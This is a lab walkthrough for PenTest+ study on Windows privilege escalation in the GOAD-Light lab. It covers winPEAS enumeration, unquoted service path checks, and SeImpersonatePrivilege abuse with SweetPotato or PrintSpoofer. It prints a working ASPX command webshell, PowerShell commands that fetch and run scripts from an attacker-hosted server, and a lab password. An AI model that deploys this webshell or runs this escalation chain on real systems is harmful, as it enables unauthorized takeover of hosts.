Windows Privilege Escalation with winPEAS and SeImpersonate

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package peass (winPEASx64.exe)
netexec 1.5.1
PowerShell Empire Invoke-SweetPotato.ps1 (ships on Kali)
Lab environment Proxmox lab
Cert prep CompTIA PenTest+ PT0-003 — Domain 4c (Host-based attacks and privilege escalation)
Privilege Low-privilege shell on the Windows target; Kali HTTP server to stage tools on vmbr1
Scope Manual Windows priv esc checks (whoami /all, whoami /priv), winPEAS/Seatbelt/PowerUp enumeration context, unquoted service path hunting, and SeImpersonatePrivilege abuse with SweetPotato/PrintSpoofer. Does not cover stored credentials, AlwaysInstallElevated, scheduled tasks, DLL hijacking, kernel exploits, Linux priv esc, GPO abuse, or MSSQL chains — those are separate lessons.
Short on time?Beta Get the gist of this 13-minute read in seconds, then ask follow-up questions

You have a low-privilege shell on a Windows host. This lesson shows how to enumerate with winPEAS, hunt unquoted service paths, and abuse SeImpersonatePrivilege with SweetPotato or PrintSpoofer to reach NT AUTHORITY\SYSTEM.

The walkthrough uses GOAD-Light member server castelblack as the lab target. Two footholds exist on that host, and they are separate:

  • Privilege-escalation shell — unauthenticated IIS upload → iis apppool\defaultapppool. This is where the winPEAS → SeImpersonate → SYSTEM chain starts.
  • Domain credential — jon.snow from Kerberoasting → RDP access on the wider GOAD path. It is not required for the IIS → SeImpersonate chain demonstrated here.

This article focuses on the AppPool shell and local escalation only — not every Windows priv esc technique.

IMPORTANT
Privilege escalation against production Windows hosts is illegal without written authorization. Local enumeration and exploit tools are logged by EDR and Windows Event Log. Confirm host-based attacks are in your rules of engagement before you run winPEAS or Potato-family tools.

Set lab variables once on Kali:

bash
export TARGET=10.10.10.22
export DOMAIN=north.sevenkingdoms.local
export KALI_IP=10.10.10.10
export SHELL="http://${TARGET}/upload/cmd.aspx?cmd="

These exports last for the current shell only — re-run the block in a new terminal.


Obtain the IIS upload shell on castelblack

Prerequisites: Deploy GOAD-Light on Proxmox with castelblack at $TARGET. GOAD seeds an unauthenticated file upload on /Default.aspx — the same foothold used across the Windows post-exploitation lessons.

On Kali, create a minimal ASPX command shell:

bash
cat > /tmp/cmd.aspx <<'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
  string cmd = Request["cmd"];
  if (!string.IsNullOrEmpty(cmd)) {
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + cmd;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
  }
}
</script>
EOF

Upload the shell through the GOAD upload page:

  1. From Kali, open http://${TARGET}/Default.aspx in a browser (or tunnel through SSH if you manage Kali remotely).
  2. Use the upload form to place cmd.aspx into the site's upload directory (GOAD exposes this path on the stock castelblack image).
  3. Confirm execution:
bash
curl -s "${SHELL}whoami"
output
<pre>iis apppool\defaultapppool
</pre>

If you get 404, re-upload through Default.aspx and confirm the file lives at http://${TARGET}/upload/cmd.aspx. The troubleshooting table at the end covers common upload-path mistakes.


Windows privilege escalation quick start

On castelblack, the working escalation chain is:

text
whoami /priv  →  SeImpersonatePrivilege enabled  →  SweetPotato / PrintSpoofer  →  NT AUTHORITY\SYSTEM

In order:

  1. Confirm you have command execution on the host (our lab uses an IIS upload shell).
  2. Run whoami /all, then whoami /priv — look for SeImpersonatePrivilege in the Enabled column.
  3. Run winPEAS or manual service-path checks to rule out other quick wins.
  4. Stage and run Invoke-SweetPotato (or PrintSpoofer64.exe) — lab output ends with Process created, enjoy!.
  5. Verify NT AUTHORITY\SYSTEM in an interactive session or by writing proof to a web-readable file.

The sections below walk through enumeration and the token-abuse path from the IIS AppPool shell.


What is Windows privilege escalation?

Privilege escalation means moving from a limited account to a more powerful one on the same Windows host.

You might start as:

  • A local standard user (CONTOSO\alice)
  • A service account (IIS APPPOOL\DefaultAppPool)
  • A domain user without local admin (NORTH\jon.snow)

Your goal is usually one of these:

  • NT AUTHORITY\SYSTEM (full local control)
  • Membership in the local Administrators group
Type What changes Example on castelblack
Vertical (local) More rights on the same machine IIS app pool → SYSTEM
Horizontal Same privilege tier on another account Not covered here
Domain privilege Higher AD role GPO abuse — separate lesson

This article focuses on local vertical escalation with winPEAS, service-path checks, and SeImpersonate. Broader Windows priv esc topics (stored creds, AlwaysInstallElevated, kernel bugs) appear in the checklist below but are not walked through here.


Starting shell on GOAD-Light

After the upload steps above, $SHELL should answer whoami as the IIS app pool account. Confirm again if you skipped straight to this section:

bash
curl -s "${SHELL}whoami"
output
<pre>iis apppool\defaultapppool
</pre>

You are not logged in as jon.snow — you are inside the IIS worker process. That is normal for a web upload chain and enough to start local privilege escalation.

Separately, jon.snow (recovered via Kerberoasting on the wider GOAD path) can obtain an RDP session on this host with nxc rdp ${TARGET} -u jon.snow -p iknownothing -d ${DOMAIN}. This walkthrough uses the IIS AppPool shell because it exposes SeImpersonatePrivilege directly for the escalation chain below.


What to check first on Windows

After you obtain a low-privilege shell, work through this order before you commit to one exploit:

  1. Current user and groups — whoami /all
  2. Enabled privileges — whoami /priv
  3. Services, service ACLs, and writable paths
  4. Stored credentials (cmdkey, vault, unattend files)
  5. Scheduled tasks and startup items
  6. Registry and policy misconfigurations (AutoLogon, AlwaysInstallElevated)
  7. Automated enumeration — winPEAS, Seatbelt, or PowerUp

winPEAS links to a Local Windows Privilege Escalation checklist for the full methodology. This lesson does not walk every item — we follow the path that worked on castelblack.

On our GOAD-Light host, whoami /priv exposed SeImpersonatePrivilege. The walkthrough demonstrates that token-abuse chain and also shows how to hunt unquoted service paths manually.


Check privileges with whoami

Start with the full picture, then zoom in on privileges.

whoami /all

whoami /all shows user identity, group memberships, privilege list, and integrity level in one view:

bash
curl -s "${SHELL}whoami%20/all" | sed 's/<[^>]*>//g' | head -35
output
USER INFORMATION
----------------
User Name                  SID
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288
BUILTIN\IIS_IUSRS                    Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group

PRIVILEGES INFORMATION
----------------------
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

Note the user name, group list, and integrity label (High Mandatory Level here). The privilege block at the bottom is the same data whoami /priv shows alone.

A High integrity label does not by itself mean the process is a local administrator or SYSTEM. Evaluate the token's groups and enabled privileges separately. Our next step hinges on SeImpersonatePrivilege, not membership in the Administrators group.

whoami /priv

For a focused privilege view:

bash
curl -s "${SHELL}whoami%20/priv"
output
<pre>
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
</pre>

Also note SeAssignPrimaryTokenPrivilege in the output. It is another privilege frequently discussed alongside SeImpersonatePrivilege in Windows token-based escalation, although this lab follows the enabled SeImpersonate path.

SeImpersonatePrivilege in the Enabled column is a strong lead for token-impersonation techniques. Microsoft defines it as Impersonate a client after authentication — having the privilege is not proof that a specific exploit will succeed.

An enabled SeImpersonatePrivilege makes Potato-family tools worth testing. Which one works depends on the Windows build, process context, available coercion path, and security controls. JuicyPotato often fails on Server 2016/2019; common alternatives include:

  • SweetPotato (Invoke-SweetPotato.ps1 on Kali)
  • PrintSpoofer64.exe
  • GodPotato

Windows privilege escalation enumeration tools

winPEAS is the primary tool in this walkthrough. PowerUp and Seatbelt are common alternatives when you need a different shape of output.

Tool When to use
winPEAS Broad first-pass enumeration; primary tool in this walkthrough
PowerUp PowerShell-native configuration and service checks
Seatbelt Targeted system and security enumeration

winPEAS ships on Kali at /usr/share/peass/winpeas/winPEASx64.exe. Clone Seatbelt from GitHub when you need lower-noise, category-specific checks.


Run winPEAS on the target

A full winPEAS run checks much more than services — privileges, registry settings, stored credentials, scheduled tasks, files, and permissions. The PEASS-ng documentation describes winPEAS as a broad search for possible privilege-escalation paths, not merely a services checker. Red and yellow lines are leads to investigate, not proof that privilege escalation works.

Stage winPEAS from Kali with a short-lived HTTP server on vmbr1:

bash
cp /usr/share/peass/winpeas/winPEASx64.exe /tmp/winPEASx64.exe
python3 -m http.server 8877 --directory /tmp &

Pull the binary through the webshell:

bash
curl -s "${SHELL}powershell%20-c%20%22Invoke-WebRequest%20-Uri%20http%3A%2F%2F${KALI_IP}%3A8877%2FwinPEASx64.exe%20-OutFile%20C%3A%5Cinetpub%5Cwwwroot%5Cupload%5CwinPEASx64.exe%22"

Invoke-WebRequest prints nothing on success. Run winPEAS with no arguments for the full sweep:

bash
curl -s "${SHELL}C%3A%5Cinetpub%5Cwwwroot%5Cupload%5CwinPEASx64.exe" | head -80

For this article, we limit output to service checks:

bash
curl -s "${SHELL}C%3A%5Cinetpub%5Cwwwroot%5Cupload%5CwinPEASx64.exe%20quiet%20servicesinfo" | head -80

Treat every winPEAS highlight as a lead that needs manual validation.

On castelblack our run flagged the services section and modifiable-service checks:

output
Interesting Services -non Microsoft- (T1007)
Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths
Modifiable Services (T1543.003)
LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:

winPEAS did not surface a ready-made unquoted-path exploit on this host. It still pointed us at the services section for manual follow-up.

Stop the HTTP server when you finish staging:

bash
pkill -f "python3 -m http.server 8877"

Hunt unquoted service paths

An unquoted service path is worth investigating when all of these are true:

  • The service binary path contains spaces
  • The path is not wrapped in quotes
  • You can create an executable at an earlier path segment Windows will try
  • The service runs as an account with privileges higher than yours

An unquoted ImagePath alone is not automatically exploitable. Microsoft has noted that missing quotes are not sufficient — the executable portion must contain spaces and there must be a usable interception point you can write to.

Windows parses an unquoted path like C:\Program Files\My Company\Service.exe as several executables:

  • C:\Program.exe
  • C:\Program Files\My.exe
  • C:\Program Files\My Company\Service.exe

Manual check with wmic

WMIC is available on this Server 2019 lab host but is deprecated on modern Windows releases. Use the PowerShell/CIM query below when wmic is unavailable.

List service paths and filter for Program Files entries:

bash
curl -s "${SHELL}wmic%20service%20get%20name,pathname,startmode" | sed 's/<[^>]*>//g' | grep -i "Program Files" | head -10
output
cloudbase-init  "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\OpenStackService.exe" ...
MSSQL$SQLEXPRESS  "c:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" ...
QEMU-GA  "C:\Program Files\Qemu-ga\qemu-ga.exe" ...

Every path on castelblack is wrapped in quotes. This host does not give you a classic unquoted-path priv esc.

Still run the check on every assessment. A genuinely exploitable unquoted high-privilege service remains an important finding when the necessary write permissions are also present.

PowerShell filter for unquoted paths

This CIM query returns only services whose PathName contains a space but does not start with a quote:

bash
curl -s "${SHELL}powershell%20-c%20%22Get-CimInstance%20Win32_Service%20%7C%20Where-Object%20%7B%20%24_.PathName%20-notmatch%20%27%5E%5C%22.*%27%20-and%20%24_.PathName%20-like%20%27*%20*%27%20%7D%20%7C%20Select%20Name,PathName,StartMode%22"

An empty response means no unquoted paths matched. That is what we saw on castelblack.

When you do find a candidate, work through these steps:

  • Confirm write access on the truncatable folder with icacls
  • Plant a malicious executable with the name Windows would try first
  • Restart the service and catch the new shell

Abuse SeImpersonate with SweetPotato

SeImpersonatePrivilege lets a process act as another user after that user connects to a resource you control (often a named pipe).

On castelblack, whoami /priv showed this privilege enabled. Kali ships Invoke-SweetPotato.ps1 under PowerShell Empire modules. The SweetPotato build used here defaults to its PrintSpoofer mode; SweetPotato also supports other impersonation and coercion modes (DCOM, WinRM, EfsRpc).

Stage the script the same way as winPEAS:

bash
cp /usr/share/powershell-empire/empire/server/data/module_source/privesc/Invoke-SweetPotato.ps1 /tmp/
python3 -m http.server 8877 --directory /tmp &

Download and execute through the webshell:

bash
curl -s "${SHELL}powershell%20-ep%20bypass%20-c%20%22IWR%20http%3A%2F%2F${KALI_IP}%3A8877%2FInvoke-SweetPotato.ps1%20-OutFile%20C%3A%5Cinetpub%5Cwwwroot%5Cupload%5Csp.ps1%3B%20.%20C%3A%5Cinetpub%5Cwwwroot%5Cupload%5Csp.ps1%3B%20Invoke-SweetPotato%20-Command%20whoami%22" | sed 's/<[^>]*>//g' | tail -15
output
SweetPotato by @_EthicalChaos_
  PrintSpoofer discovery and original exploit by @itm4n
[+] Attempting NP impersonation using method PrintSpoofer to launch C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[+] Triggering notification on evil PIPE \\castelblack/pipe/4c613171-0162-4bf1-bfb7-7a5726a97771
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

The spawned process runs as NT AUTHORITY\SYSTEM. The thin ASPX shell may not print that identity back to your browser.

On an interactive RDP or evil-winrm session you would see nt authority\system directly.

Prefer a standalone binary? PrintSpoofer64.exe (itm4n/PrintSpoofer) uses the same technique:

text
PrintSpoofer64.exe -i -c "whoami"

Download the release on Kali when GitHub is reachable. Host it from python3 -m http.server and pull it to the target the same way as winPEAS.

NOTE
Report note: After SYSTEM access on an authorized host, record the initial access vector (IIS upload → AppPool shell), pre-escalation output from whoami /all, enumeration tools used, the finding that drove exploitation (SeImpersonatePrivilege), the exploit (SweetPotato / PrintSpoofer), and remediation priorities — fix the unauthenticated upload first, quote service paths, review SeImpersonate assignments, and deploy detection for winPEAS and Potato-family tools.

Troubleshooting

Symptom Likely cause Fix
nxc rdp fails but Kerberoast password works NLA policy or account not in RDP group Use IIS shell path; confirm jon.snow is in Night Watch on GOAD-Light
Upload returns 404 on cmd.aspx Shell missing or wrong path Re-upload ASPX to /upload/ via Default.aspx
IWR cannot reach Kali Host firewall or wrong KALI_IP Bind python3 -m http.server on 10.10.10.10
winPEAS download is 0 bytes HTTP server stopped early Restart python3 -m http.server 8877 before Invoke-WebRequest
SweetPotato prints help/parse errors Broken quoting in -Command Use interactive PowerShell on RDP; run Invoke-SweetPotato -Command whoami locally
SeImpersonate enabled but exploit fails Build hardening, wrong Potato variant, or blocked pipe Try PrintSpoofer, GodPotato, or another coercion mode in SweetPotato
No unquoted paths but exam asks about them Paths are quoted or not writable Document the negative result; explain all four conditions must be met
JuicyPotato fails on Server 2019 CLSID protections Switch to PrintSpoofer, SweetPotato, or GodPotato

Summary

This lesson covers a focused Windows privilege escalation path: enumerate with whoami and winPEAS, hunt unquoted service paths, then abuse SeImpersonatePrivilege with SweetPotato or PrintSpoofer to reach NT AUTHORITY\SYSTEM.

On GOAD-Light castelblack, an unauthenticated IIS upload gave us an AppPool shell as iis apppool\defaultapppool — separate from the jon.snow domain credential used elsewhere in the lab. whoami /priv showed SeImpersonatePrivilege enabled. winPEAS (quiet servicesinfo) and manual service-path checks found no exploitable unquoted path because every Program Files entry was quoted.

The working chain was token abuse: Invoke-SweetPotato used PrintSpoofer impersonation and reported successful SYSTEM process creation. Broader priv esc topics (stored credentials, AlwaysInstallElevated, scheduled tasks) belong on your checklist but were out of scope for this walkthrough.

On real engagements, run winPEAS or Seatbelt early, treat highlights as leads, and manually validate before you exploit. After SYSTEM, pivot to credential recovery and lateral movement only within scope.


References


Frequently Asked Questions

What is the difference between local and domain privilege escalation?

Local privilege escalation raises your rights on one Windows host — for example from a standard user to SYSTEM. Domain privilege escalation gives you higher Active Directory authority, such as domain admin. This lesson covers local escalation only.

Do I need admin rights before running winPEAS?

No. winPEAS is designed to run as a low-privilege user. Many checks only need read access to service configuration, registry keys, and folders. Some tests note when admin rights would show more detail.

What is an unquoted service path?

It is a Windows service whose executable path contains spaces but is not wrapped in double quotes. Windows may try earlier path segments as executables. You also need write permission on a truncatable folder and the service must run as an account with higher privileges than yours. A missing quote alone is not enough.

Why use SweetPotato instead of JuicyPotato on Server 2019?

JuicyPotato relied on COM objects that Microsoft hardened in newer builds. SweetPotato supports multiple coercion modes and, in the build used here, defaults to PrintSpoofer for named-pipe impersonation when SeImpersonatePrivilege is enabled.

Does winPEAS prove I can privilege-escalate?

No. winPEAS highlights possible misconfigurations. Every red or yellow line is a lead that needs manual validation before you report or exploit it.

Can I run this walkthrough over RDP instead of an IIS shell?

Yes. nxc rdp confirmed jon.snow can open a session on castelblack. Upload winPEAS and SweetPotato through the session. The IIS path is script-friendly for capturing command output from Kali.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)